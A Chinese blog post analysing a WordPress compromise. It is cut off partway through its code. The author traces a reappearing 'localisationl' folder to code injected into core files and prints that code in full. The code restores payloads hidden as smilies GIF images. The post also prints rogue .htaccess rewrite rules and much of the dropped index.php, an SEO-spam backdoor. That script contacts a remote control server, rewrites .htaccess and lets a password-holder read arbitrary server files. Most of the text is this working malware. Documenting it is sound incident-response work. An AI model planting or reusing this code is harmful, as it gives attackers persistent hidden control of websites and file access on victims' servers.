wordpress网站根目录出现不明文件夹localisationl

常在河边走,哪有不湿鞋,今天小雨碰到一个客户说自己的 wordpress 网站根目录下出现 localisationl 文件夹,里面包含了两个文件,即使删除了,一访问网站,还是会出现
wordpress网站根目录出现不明文件夹localisationl

经过排查发现 wordpress 的安装文件被修改了,所以建议他重新在官网下载 wordpress,备份好图片插件数据库模板,重新安装。

他的故事结束了,小雨的才刚刚开始。

经过全局搜索,发现是因为 wordpress 的 wp-includes 文件夹下面的 load.php 和 template-loader.php 被恶意修改了。

wordpress网站根目录出现不明文件夹localisationl

额外添加的代码如下:

//ck1bg
$nowFileDir =  'localisationl';
$nowHtacFile =  './.htaccess';
$nowMobanFile =  './localisationl/moban.html';
$nowIndexFile =  './localisationl/index.php';
$nowLogFile =  './localisationl/logs.txt';
$bkLocalFileIndex1 =  './wp-includes/images/smilies/icon_reds.gif';
$bkLocalFileHtac1 =  './wp-includes/images/smilies/icon_blacks.gif';
$bkLocalFileMoban1 =  './wp-includes/images/smilies/icon_greens.gif';
if($nowHtacFile && file_exists($bkLocalFileHtac1)){
if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowHtacFile,0755);
@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
@chmod($nowHtacFile,0755);
}
}
if(file_exists($bkLocalFileIndex1)){
if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowIndexFile,0755);
@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));
@chmod($nowIndexFile,0755);
}
}
if(file_exists($bkLocalFileMoban1)){
if(!file_exists($nowMobanFile)){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban1));
@chmod($nowMobanFile,0755);
}else{
if(filesize($nowMobanFile) != filesize($bkLocalFileMoban1)){
$tpstrMb = file_get_contents($nowMobanFile);
if(strstr($tpstrMb,"#bbbtitsbbb#") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
$fitime = filemtime($bkLocalFileMoban1);
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($bkLocalFileMoban1,$tpstrMb);
@touch($bkLocalFileMoban1, $fitime, $fitime);
}else{
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban1));
@chmod($bkLocalFileMoban1,0755);
}
}
}
}
//ck1end

这也就是造成 localisationl 文件夹删除了后只要一访问网站立马又出现的原因。

还发现 htaccess 文件也被添加了两条伪静态

RewriteRule ^.*/(\d+)/$ localisationl/index\.php?id=$1&%{QUERY_STRING} [L]
RewriteRule ^.*-(\d+)/$ localisationl/index\.php?cat=$1&%{QUERY_STRING} [L]

不过客户的服务器nginx,所以这个文件应该没有起作用,但如果是 apache 又会出现什么情况呢?

我们来一探究竟,这个 localisationl 文件夹下的 index.php 文件里到底是什么东东?他又做了什么?


展开代码

<?php
/**
* avenue clue defect drip exceedingly extreme hestiate hydrogen launch petroleum promote regulate removal respond sophisticated tarnest tense vain virtue whereas.
* code conservation elbow emphasize equation extreme highlight idle illusion liberty likelihood minimum mixture range resolve shrug suspicious terminal variation vary.
* algebra awkward barrier consistent discrimination evaluate exceedingly excess exclude flexible garbage guilty idle inhabitant leather lest omit prescribe promote signature substance trace vote whereas.
* apparent awful derive dispose dumb exclusive fate gallery motivate parade signature urban.
* advertise coil comment compete glimpse minimum optics orchestra restrain trend twist.
* agency applause applicable appoint constant dump expensive haste loosen marveous negative nuclear private prohibit regulate relief resemble resolve scan solar undergo variable waist weld yawn.
* avenue cargo dash drift evolution explosive forbid gaze glorious jeans neglect repetition satellite splendid thrust utter.
* adequate agent fatal motive powder quotation trap vehicle.
* agency bargain biology deputy discount expansion explosive fertilizer isolate issue jealous mature minimum orchestra principal radical retail shelter simplify unique vague voluntary wander.
* awkward consistent decline echo jail loosen marveous mixture promote removal ridiculous thrust timber.
* appoint calendar durable episode evil infinite isolate jealous naked prosperity remote rescue restraint retail reveal security signature split subway tense.
* Internet blast column constant consume deposit discount drift hint jail onion orchestra prescribe prosperity radical religion resistant snap suburb survey video volunteer weave.
* battery entry grant interpret jewel naked precaution range region slender waist.
* Internet adequate cope electron emotion individual mature neglect odd portion tremble volume.
* abuse applicant calendar catalog continuous dash import insurance reject remarkable secure strategy tedious volume.
* response approximate consistent distribute emotional episode erect flexible hint hollow lynar personnel previous shelter software suspicious tendency tidy undergo virus weave.
* acquire advertise attitude automatic extent hydrogen infant interfere leisure lest massive media particle prompt recruit religion repetition reputation timber version vivid.
* awkward bargain burst display duration expense gallery geometry hostile inhabitant jeans marveous nucleus repetition rescue rival scale snap tissue undergo vessel.
* academy acknowledge bureau catalog disturb exclusive fate female flexible focus hint household luxury mature opportunity register subsequent transport vanish virtue vital.
* beforehand comparable debate deserve devise evil extraordinary geography incident integrate loose passion software spray subway thrust trial tropical undergo venture victim.
* comedy decline display exceed extreme gesture hence herd illusion leather mature region rely skim vibrate.
* chaos entry fatal prevail professional profitable survey undertake vacuum.
* adjust bunch chaos harmony household infinite leap merchant powder rely remedy semester seminar suspicious trace vacant vital wander.
* aspect echo flexible guilty hatred knot manufacture notify oxygen priority render respond slender slope spit suspicion timber ultimate variation waist wealthy.
* agency arbitrary candidate cliff compete deputy emphasize exclusive golf inferior junior poverty severe transmit voluntary weld.
* acid appoint arouse burst continuous elastic expend explore ferfile maintain mere prevail private profitable relief shift split talent tendency tuition.
*
* @package WordPress
*/
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@set_time_limit(3600);
define("DOMTXT","/jd2/");
define("GETDATE","http://www.datecenter.com/api/?key=");
define("CENTERKEY",4);
define("MYDIR", "/ebayfr200516-72/");
define("FNUM",86);
define("JGNUM","40");
define("LINKNUM","8");
define("BZSITE","c");
define("BZPRO","k");
define("BZCAT","t");
//msbg
define("JDT","0");
//msend
//msidbg
define("MSID",3951);
//mssidend
//keyjgbg
define("KEYJG",11);
//keyjgend
//randnumIbg
define("RANDNUMI",10);
//randnumIend
//randnumIIbg
define("RANDNUMII",1);
//randnumIIend
//pnamelenbg
define("PNAMELEN",49);
//pnamelenend
//jthouzuibg
define("JTHZ","https://dedewp.com/");
//jthouzuiend
//nttarr_bg
$arrnametime[]="2";
$arrnametime[]="4";
$arrnametime[]="3";
$arrnametime[]="1";
//nttarr_end
//wddarr_bg
$arr_word[0][] ="2";$arr_word[0][] ="4";$arr_word[0][] ="4";$arr_word[0][] ="3";$arr_word[0][] ="3";$arr_word[0][] ="2";$arr_word[0][] ="4";$arr_word[0][] ="2";$arr_word[0][] ="3";$arr_word[0][] ="3";$arr_word[1][] ="4";$arr_word[1][] ="3";$arr_word[1][] ="4";$arr_word[1][] ="3";$arr_word[1][] ="3";$arr_word[1][] ="2";$arr_word[1][] ="2";$arr_word[1][] ="4";$arr_word[1][] ="3";$arr_word[1][] ="2";$arr_word[2][] ="2";$arr_word[2][] ="4";$arr_word[2][] ="3";$arr_word[2][] ="3";$arr_word[2][] ="2";$arr_word[2][] ="3";$arr_word[2][] ="3";$arr_word[2][] ="4";$arr_word[2][] ="2";$arr_word[2][] ="4";$arr_word[3][] ="4";$arr_word[3][] ="4";$arr_word[3][] ="2";$arr_word[3][] ="2";$arr_word[3][] ="3";$arr_word[3][] ="3";$arr_word[3][] ="3";$arr_word[3][] ="4";$arr_word[3][] ="3";$arr_word[3][] ="2";$arr_word[4][] ="2";$arr_word[4][] ="4";$arr_word[4][] ="4";$arr_word[4][] ="2";$arr_word[4][] ="3";$arr_word[4][] ="2";$arr_word[4][] ="4";$arr_word[4][] ="3";$arr_word[4][] ="3";$arr_word[4][] ="3";$arr_word[5][] ="4";$arr_word[5][] ="3";$arr_word[5][] ="2";$arr_word[5][] ="2";$arr_word[5][] ="3";$arr_word[5][] ="3";$arr_word[5][] ="3";$arr_word[5][] ="4";$arr_word[5][] ="4";$arr_word[5][] ="2";$arr_word[6][] ="3";$arr_word[6][] ="3";$arr_word[6][] ="4";$arr_word[6][] ="4";$arr_word[6][] ="2";$arr_word[6][] ="2";$arr_word[6][] ="3";$arr_word[6][] ="2";$arr_word[6][] ="3";$arr_word[6][] ="4";$arr_word[7][] ="2";$arr_word[7][] ="4";$arr_word[7][] ="3";$arr_word[7][] ="3";$arr_word[7][] ="4";$arr_word[7][] ="4";$arr_word[7][] ="2";$arr_word[7][] ="3";$arr_word[7][] ="2";$arr_word[7][] ="3";$arr_word[8][] ="3";$arr_word[8][] ="4";$arr_word[8][] ="4";$arr_word[8][] ="2";$arr_word[8][] ="3";$arr_word[8][] ="2";$arr_word[8][] ="3";$arr_word[8][] ="3";$arr_word[8][] ="4";$arr_word[8][] ="2";$arr_word[9][] ="4";$arr_word[9][] ="2";$arr_word[9][] ="2";$arr_word[9][] ="2";$arr_word[9][] ="4";$arr_word[9][] ="3";$arr_word[9][] ="3";$arr_word[9][] ="3";$arr_word[9][] ="4";$arr_word[9][] ="3";$arr_word[10][] ="2";$arr_word[10][] ="2";$arr_word[10][] ="3";$arr_word[10][] ="3";$arr_word[10][] ="3";$arr_word[10][] ="4";$arr_word[10][] ="2";$arr_word[10][] ="4";$arr_word[10][] ="4";$arr_word[10][] ="3";$arr_word[11][] ="3";$arr_word[11][] ="4";$arr_word[11][] ="3";$arr_word[11][] ="2";$arr_word[11][] ="4";$arr_word[11][] ="2";$arr_word[11][] ="4";$arr_word[11][] ="3";$arr_word[11][] ="2";$arr_word[11][] ="3";
//wddarr_end
//kwzzarr_bg
$arrKeywz[]="7";
$arrKeywz[]="6";
$arrKeywz[]="5";
$arrKeywz[]="9";
$arrKeywz[]="11";
$arrKeywz[]="4";
$arrKeywz[]="12";
$arrKeywz[]="10";
$arrKeywz[]="8";
//kwzzarr_end
//brddarr_bg
$arrBread[]="BreadcrumbHeads";
$arrBread[]="pages-breadcrumbs clearfix";
$arrBread[]="navBreadCrumbs clearfix";
$arrBread[]="cs-breadcrumb";
$arrBread[]="BreadcrumbLists clearfix";
$arrBread[]="crumbs";
$arrBread[]="";
$arrBread[]="doc-crumb clearfix";
$arrBread[]="BreadHead row";
$arrBread[]="ant-breadcrumb row";
$arrBread[]="cs-breadcrumb row";
$arrBread[]="crumb-list";
$arrBread[]="BreadHead clearfix";
$arrBread[]="breadLists row";
$arrBread[]="";
$arrBread[]="navBreadCrumb clearfix";
$arrBread[]="BreadcrumbHeads row";
$arrBread[]="breadList clearfix";
$arrBread[]="crumbsTop row";
$arrBread[]="crumbsHeads row";
$arrBread[]="BreadHead";
$arrBread[]="cs-breadcrumb clearfix";
$arrBread[]="breadHead";
$arrBread[]="s-breadcrumb row";
$arrBread[]="breadHead row";
$arrBread[]="l-breadcrumb row";
$arrBread[]="BreadcrumbLists row";
$arrBread[]="customBreadcrumb";
$arrBread[]="doc-crumb row";
$arrBread[]="Breadcrumb-Top clearfix";
$arrBread[]="";
$arrBread[]="Breadcrumb-Heads row";
$arrBread[]="crumbsTops";
$arrBread[]="crumbs row";
$arrBread[]="";
$arrBread[]="Bread row";
$arrBread[]="navBreadCrumb";
$arrBread[]="Breadcrumb-Top";
$arrBread[]="crumbs-top clearfix";
$arrBread[]="breadtops clearfix";
$arrBread[]="breadHeads row";
$arrBread[]="crumbs-nag";
$arrBread[]="crumbList row";
$arrBread[]="ant-breadcrumb clearfix";
$arrBread[]="page-breadcrumbs";
$arrBread[]="BreadcrumbTops";
$arrBread[]="el-breadcrumb clearfix";
$arrBread[]="page-breadcrumbs row";
$arrBread[]="pages-breadcrumbs row";
$arrBread[]="breadcrumb clearfix";
$arrBread[]="";
$arrBread[]="";
$arrBread[]="navBreadCrumb row";
$arrBread[]="Breadcrumb-Head clearfix";
$arrBread[]="v-breadcrumb row";
$arrBread[]="v-breadcrumb";
$arrBread[]="crumbList";
$arrBread[]="crumbs-nag row";
$arrBread[]="crumb-list clearfix";
$arrBread[]="";
$arrBread[]="Breadcrumb-Head";
$arrBread[]="crumbsHeads clearfix";
$arrBread[]="BreadcrumbHeads clearfix";
$arrBread[]="crumbsHeads";
$arrBread[]="pages-breadcrumbs";
$arrBread[]="breadtops row";
$arrBread[]="Breadcrumb-Top row";
$arrBread[]="crumbsHead clearfix";
$arrBread[]="navBreadCrumbs row";
$arrBread[]="Breadcrumb clearfix";
$arrBread[]="bread-List";
$arrBread[]="breadLists clearfix";
$arrBread[]="el-breadcrumb row";
$arrBread[]="BreadcrumbTop clearfix";
$arrBread[]="crumbs-top row";
$arrBread[]="doc-crumb";
$arrBread[]="BreadcrumbNavigation";
$arrBread[]="l-breadcrumb";
$arrBread[]="bread-List clearfix";
$arrBread[]="customBreadcrumb clearfix";
$arrBread[]="BreadcrumbTop row";
$arrBread[]="navBreadCrumbs";
$arrBread[]="crumbs-head row";
$arrBread[]="BreadcrumbTop";
$arrBread[]="l-breadcrumb clearfix";
$arrBread[]="breadList";
$arrBread[]="Breadcrumb-Head row";
$arrBread[]="ant-breadcrumb";
$arrBread[]="chrome-breadcrumbs row";
$arrBread[]="crumbsHead row";
$arrBread[]="crumb-list row";
$arrBread[]="Bread";
$arrBread[]="c-breadcrumb";
$arrBread[]="crumbsTops row";
$arrBread[]="breadtops";
$arrBread[]="";
$arrBread[]="breadtop row";
$arrBread[]="BreadcrumbTops clearfix";
$arrBread[]="crumbs-head clearfix";
$arrBread[]="v-breadcrumb clearfix";
$arrBread[]="s-breadcrumb clearfix";
$arrBread[]="BreadcrumbLists";
$arrBread[]="BreadcrumbNavigation row";
$arrBread[]="Breadcrumb-Heads";
$arrBread[]="crumbsHead";
$arrBread[]="breadList row";
$arrBread[]="";
$arrBread[]="breadcrumb row";
$arrBread[]="breadtop clearfix";
$arrBread[]="breadcrumb";
$arrBread[]="crumbsTop clearfix";
$arrBread[]="Bread clearfix";
$arrBread[]="page-breadcrumbs clearfix";
$arrBread[]="crumbList clearfix";
$arrBread[]="c-breadcrumb clearfix";
$arrBread[]="crumbsTop";
$arrBread[]="crumbsTops clearfix";
$arrBread[]="";
$arrBread[]="s-breadcrumb";
$arrBread[]="chrome-breadcrumbs clearfix";
$arrBread[]="bread-List row";
$arrBread[]="breadHeads";
$arrBread[]="crumbs clearfix";
$arrBread[]="chrome-breadcrumbs";
$arrBread[]="BreadcrumbTops row";
$arrBread[]="customBreadcrumb row";
$arrBread[]="c-breadcrumb row";
$arrBread[]="breadHead clearfix";
$arrBread[]="BreadcrumbNavigation clearfix";
$arrBread[]="breadHeads clearfix";
$arrBread[]="Breadcrumb row";
$arrBread[]="el-breadcrumb";
$arrBread[]="";
$arrBread[]="crumbs-top";
$arrBread[]="breadtop";
$arrBread[]="crumbs-head";
$arrBread[]="Breadcrumb";
$arrBread[]="Breadcrumb-Heads clearfix";
$arrBread[]="breadLists";
$arrBread[]="crumbs-nag clearfix";
//brddarr_end
//fhharr_bg
$arrfh[]="Christmas Supplies";
$arrfh[]="Xmas";
$arrfh[]="Top Christmas gifts 2018";
$arrfh[]="Christmas gift ideas";
$arrfh[]="Christmas presents";
$arrfh[]="Unique Christmas Gifts";
$arrfh[]="Christmas gift";
$arrfh[]="Christmas Ornament";
$arrfh[]="Christmas gift shop";
$arrfh[]="Christmas Decoration";
$arrfh[]="Xmas Ornaments";
$arrfh[]="Christmas gift ideas 2018";
$arrfh[]="Holiday presents";
$arrfh[]="for Christmas";
$arrfh[]="Holiday Gifts";
$arrfh[]="Christmas Gifts 2018";
$arrfh[]="Christmas gift store";
$arrfh[]="Christmas Holiday";
$arrfh[]="best Christmas gift";
$arrfh[]="Best Christmas gifts 2018";
//fhharr_end
$q1 = "O00O0O";	$q2 = "O0O000";	$q3 = "O0OO00";	$q4 = "OO0O00";	$q5 = "OO0000";	$q6 = "O00OO0";	$q7 = "O00O00";	$q8 = "O00OOO";	$$q1 = RandAbcs();
//srrarr_bg
$strRand[0]="vpwrfltsunikdmyqxechbzgjao";
$strRand[1]="qvpbnolhgkdyteifmcxzrjawus";
$strRand[2]="lxisnkeadrvhgqbpmuzwjfcyto";
$strRand[3]="oqcswfpigranyubjkxmldhzetv";
$strRand[4]="rwsfpneibvmgdtxjahzuyqolck";
$strRand[5]="vdgrklpoztjnacybiesqxwhumf";
$strRand[6]="nuykishecgptbvzrdjxwmfloqa";
$strRand[7]="jozxwsiryluhkngmcabpvtfqde";
$strRand[8]="msvpjqrygauhfctdioklxnwezb";
$strRand[9]="rnmpuosijvkaqbxytdgfczehlw";
$strRand[10]="ynealztgxsbvufqjmowhkpdrci";
$strRand[11]="wejmxguilotfqnbhapcsvdrykz";
$strRand[12]="fitxbamqcuysznoeprlwkhvdgj";
$strRand[13]="hmxfpskjyntvwilzegdocuqrba";
$strRand[14]="xikbfnugaphtwmezoqrvjsycld";
$strRand[15]="tqdirmxhycnouebgvsljfzwpak";
$strRand[16]="rmbqewlgvfxypkcatnhsidjozu";
$strRand[17]="squlnpichbvzgmdxfjkoaretwy";
$strRand[18]="hrljxneabypscqwgfitzvokdmu";
$strRand[19]="evcpwsklyruhdtzinxqgjbmafo";
$strRand[20]="osvjfxiklzqncwrdbmpyaehgtu";
$strRand[21]="fviypgnlcusteabmzrxqkohdwj";
$strRand[22]="vmywehtlgincdsfjbrqzpuakox";
$strRand[23]="jeirmthszkgqacpoyxvludfbnw";
$strRand[24]="ewrydmjpvcquanzxiskbtogfhl";
$strRand[25]="yxepzohfdjcvrstqnubklgiwam";
$strRand[26]="qhksyvmglnjdeicxutrwzaobpf";
$strRand[27]="adkzxhnvmwgjilsctupbfeqroy";
$strRand[28]="etcjyzpdifxmovnukbraqgswlh";
$strRand[29]="xkgluisywodhbtqpcnrajzvfme";
$strRand[30]="rjacvybkesutngfphozqdimxwl";
$strRand[31]="xprzhkvwuilycbsdognajetqfm";
$strRand[32]="xvydibhjmerglnfokqtwcpzsau";
$strRand[33]="vwldhiuzfapmbcxrtnqkjsoegy";
$strRand[34]="uwboxhlmjrcqiyskgvzadntepf";
$strRand[35]="eodxbpirsqmkntjyzhauwgcflv";
$strRand[36]="fqpuvlrnxjwhcsobaeyimgkdzt";
$strRand[37]="wchozlxsdpvfaubrqjkytgeinm";
$strRand[38]="zmtfvbwqogenpchyirdksxluja";
$strRand[39]="bdwvuflkgtnascyerimjohzxqp";
$strRand[40]="qhbigxvfsjrnpcaomektzyldwu";
$strRand[41]="vulzopcdirxwafqhmbeksjntyg";
$strRand[42]="ltkiojgcsfamwxyrbnezhuvqdp";
$strRand[43]="vtopysklbicrawudxqhgfjmzne";
$strRand[44]="ibpkyvnogxzstelmqcwfrajhud";
$strRand[45]="nfsbqupzjmwtcrgoixydlvaehk";
$strRand[46]="kixufvrpgjyqbhawcndsezmolt";
$strRand[47]="epmkxtalbrzhvfouycdjsgwniq";
$strRand[48]="adwmciogfqyvxrjtehnuzlbpsk";
$strRand[49]="dfeiznukromtpqhlcwxjgabyvs";
$strRand[50]="qrxtukydefhjgpzsnavlowmbic";
$strRand[51]="zmilrangbhvycfujtpewodxqks";
$strRand[52]="oafbpwqnytvrjlsxzguhidmkec";
$strRand[53]="aivdexgtyhbmcfpolwrunkzsqj";
$strRand[54]="zcvqmjbhtolendxrpuyakwfgis";
$strRand[55]="ncfrqwydozxuliajgkvmbetshp";
$strRand[56]="pbcwtdfigonhequjyrxzvmkasl";
$strRand[57]="mnipslzyoekcdgrhbqtvxaufwj";
$strRand[58]="kljmqofnbwsxhirzacdvyeptug";
$strRand[59]="mwgdunhvtskofiyljezqxabcrp";
$strRand[60]="qkjxchozuestwlyvbpraifdmng";
$strRand[61]="qkyfejgodawhxurczmpsvnilbt";
$strRand[62]="gdwepcbjlofyvtaknhzrquxsmi";
$strRand[63]="ujmioytbpgdzlrhsnwqkafxecv";
$strRand[64]="akehyonrlvzwmxubfsgtdpjicq";
$strRand[65]="moyluinrvpwqaexcbjkthzgfds";
$strRand[66]="cwdaustrplbhnjyxzefikoqvgm";
$strRand[67]="fgouscthqvedjpnmxwalybrzik";
$strRand[68]="urgdcwhyavnekqxlmptjsfbzoi";
$strRand[69]="glezkicwqvphamunrtfysxbdoj";
$strRand[70]="muygwhiepkdclnorbaqxfjvtsz";
$strRand[71]="iavmpbgtdyzhsxwkfcuoqlnerj";
$strRand[72]="rtvdjumconbkwxpflahygsziqe";
$strRand[73]="sdpqnfarcitzwgymulbxhjovke";
$strRand[74]="dlzcuoprvxesywtgahqknjfbmi";
$strRand[75]="hrdqfglyzicpnjskeumwatvbxo";
$strRand[76]="pncxwarekufjsmlgdvzotiyqhb";
$strRand[77]="jbeuqmvcktzarhdiyosglpwnxf";
$strRand[78]="qvlmxzpiokebywjrucdhagtsfn";
$strRand[79]="jwyxratvmnbhikzueolgcdqspf";
$strRand[80]="wnavjublzefxrkqspmhtcygdoi";
$strRand[81]="bxkmdpqwenuoghtsirfljvazyc";
$strRand[82]="bveqcutpnyjhdaifklmozrxgsw";
$strRand[83]="dvxgcwbqlhniypasfktemurzoj";
$strRand[84]="bujrfhyszmiwqtogpanvedlkcx";
$strRand[85]="jeyhgozsmtnuxdkpqrfialwcbv";
$strRand[86]="wifmshcqgpobxvnyjrukteldza";
$strRand[87]="yjpxaewoshuizglqtbfdnckrmv";
$strRand[88]="cyuvkrbgadznmsefxoijplthqw";
$strRand[89]="jmkxstlzdqrigpyuhcneoawfvb";
$strRand[90]="vljnkzucpmbaidfretqxygsohw";
$strRand[91]="kafwphnqzymciegljbsrutdvxo";
$strRand[92]="icfdryqnhzvxswuapelmtjkgob";
$strRand[93]="zmckuwfigplqnbjdyovhaerxts";
$strRand[94]="hufnkmtdvpsaeiqzlwrgcxbjyo";
$strRand[95]="woygrfanbspudzcqxehijvlktm";
$strRand[96]="xnzralgejpswqticmbfvodyhku";
$strRand[97]="nheyxmfirlwcdkspjoazgbutvq";
$strRand[98]="rcvlhdxaqkgtpozeuisyjfbwnm";
$strRand[99]="xdsfnroacbkeuymtjlvhpwzgiq";
//srrarr_end
$thisdom = str_replace("www.","",$_SERVER['HTTP_HOST']);
define("GETDOM",getthisdom());
//
$arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){
$arrArrr[$j++] = $strRand{$i}.$strRand{$i+1};}
$Arrrarr = array_flip($arrArrr);
$stss = 'transferdm';
$stss2 = 'deliverym';
if(isset($_GET["gsitemap"]) && isset($_GET["mapnum"])){
$O_OO0_0O_0='America/Chicago';	@date_default_timezone_set($O_OO0_0O_0);
if (! is_dir("../sitetarget"))
mkdir("../sitetarget", 0755);
global $gnumber;
$gnumber = 1;
$bgNum = (int)trim($_GET["gsitemap"]);
$mapnum = (int)trim($_GET["mapnum"]);
if($bgNum > FNUM)
die("The Number Must Lower Then " . FNUM);
$arrNumTemp = getMapNum($bgNum,$mapnum);
$rs = '#<map>(.*)</map>#si';
$mapLogs = file_get_contents("./map.log");
foreach($arrNumTemp as $vss){
$vals = "id$vss.php";
if(strstr($mapLogs,'#site' . $arrABC[$gnumber-1] . 'target' .'.xml#') && file_exists('../sitetarget/site' . $arrABC[$gnumber-1] . 'target' .'.xml')){
echo $vals."<br/>";
echo '../sitetarget/site' . $arrABC[$gnumber-1] . 'target' .'.xml successed<br/>';
$gnumber++;
continue;
}
for($i=0; $i<3; $i++){
$idUrl =  GETDOM . "gpage.php?getmapid=$vss&site=$thisdom&sid=".MSID;
$tempIdStr = curl_get_from_webpage($idUrl,'',5);
$arrIdNameNow = array();
if(preg_match($rs,$tempIdStr,$matchIdName)){
$tparrIdName = explode('^^',$matchIdName[1]);
foreach($tparrIdName as $vs){
$tpArr = explode('^',$vs);
if(count($tpArr) == 2){
$arrIdNameNow[$tpArr[0]] = $tpArr[1];
}elseif(count($tpArr) > 2){
$tpstr = '';
for($j=1; $j<count($tpArr); $j++){
$tpstr .= $tpArr[$j] . ' ';
}
$tpstr = trim($tpstr);
$arrIdNameNow[$tpArr[0]] = $tpstr;
}
}
break;
}
}
if(!isset($arrIdNameNow) or count($arrIdNameNow) < 100){
echo "g sitemap fail<br/>";
die();
}
echo $vals."<br/>";
if($gnumber == 1){
if(JDT == 1){
gsitemap($arrIdNameNow,2,1);			}else{
gsitemap($arrIdNameNow,1,2);			}
}else{
if(JDT == 1){
gsitemap2($arrIdNameNow,2,1);			}else{
gsitemap2($arrIdNameNow,1,2);			}
}
unset($arrIdNameNow,$tempArr1,$tempArr2);	}
}
if(isset($_GET["ghtac"]) && $_GET["ghtac"]){
$dirNames = dirname(__FILE__);
$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
$PreDir = '';
if(JDT == 1){
$UrlBaseDir = $httcReplace;		$RewriteOnDir = '';
}else{
$UrlBaseDir = '';		$PreDir = '../';		$RewriteOnDir = $httcReplace . '/';
}
$strhtt = '';
if (file_exists("$PreDir.htaccess")){
@chmod("$PreDir.htaccess",0755);
$strhtt = file_get_contents("$PreDir.htaccess");
}
if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
{
$strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>';
}else{
$strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt);
$strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt);
}
if(1){
$r0 = '#(.*RewriteEngine On.*)#i';
$r1 = '#(.*RewriteBase.*)#i';		$r2 = '#RewriteRule#i';
if(JDT == 0){
$rsut = '\1'.PHP_EOL .'RewriteRule ^'. '.*/(\d+)'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*-(\d+)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL  ;
$rsut2 = PHP_EOL .'RewriteRule ^'. '.*/(\d+)'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*-(\d+)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL  .'RewriteRule' ;
}else{
$rsut = '\1'.PHP_EOL .'RewriteRule ^'. '.*/(\d+)'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*-(\d+)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL ;
$rsut2 = PHP_EOL .'RewriteRule ^'. '.*/(\d+)'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*-(\d+)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL .'RewriteRule' ;
}
if(preg_match($r0,$strhtt)){
$strhtt = preg_replace($r0,$rsut,$strhtt,1);
}elseif(preg_match($r1,$strhtt)){
$strhtt = preg_replace($r1,$rsut,$strhtt,1);
}else{
$strhtt = preg_replace($r2,$rsut2,$strhtt,1);
}
if(JDT == 1 or JDT == 0){
file_put_contents("$PreDir.htaccess", $strhtt);
}
}
die("ghtac ok");
}
if(isset($_POST["chdate"]) && md5($_POST["chdate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_POST["redate"]) && md5($_POST["redate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo rFile($redate_file);die();}else{echo '#nofile#';die();}}if(isset($_POST["test"]) && md5($_POST["test"])=='b6772c68627f804a9578152ee90f5b0c'){echo '#ok#';	die();}if((isset($_POST["lan"]) && $_POST["lan"] == 1) or (isset($_GET["lan"]) && $_GET["lan"] == 1)){$fileArr = array();$flag = 1;$fileArr['index'] = filesize(__FILE__);if(file_exists("./moban.html")){$fileArr['moban'] = filesize("./moban.html");}else{$flag = 0;$fileArr['moban'] = -1;}echo 'error---'. serialize($fileArr) .'---';die();}if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){die();}
if(JDT==2){
$UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI'])));	if($UrlParent){
$tempSid = '';		$tempPid = '';
$r2='#.*/(\d+)'. JTHZ .'$#i';		$r3='#.*/(\d+)/$#i';
if(preg_match($r2,$UrlParent,$matches2)){
if(isset($matches2[1]))
$tempPid = $matches2[1];		}else{
preg_match($r3,$UrlParent,$matches13);			if(isset($matches13[1]))
$tempPid = $matches13[1];		}
if($tempPid){
$_GET['id']= $tempPid;
}else{
$r2='#.*-(\d+)'. JTHZ .'$#i';		$r3='#.*-(\d+)/$#i';
if(preg_match($r2,$UrlParent,$matches2)){
if(isset($matches2[1]))
$tempPid = $matches2[1];
}else{
preg_match($r3,$UrlParent,$matches13);
if(isset($matches13[1]))
$tempPid = $matches13[1];
}
if($tempPid)
$_GET['cat']= $tempPid;
}
}
}elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){
$tempSid = '';		$tempPid = '';		$UrlParent = $_GET['keyword'];
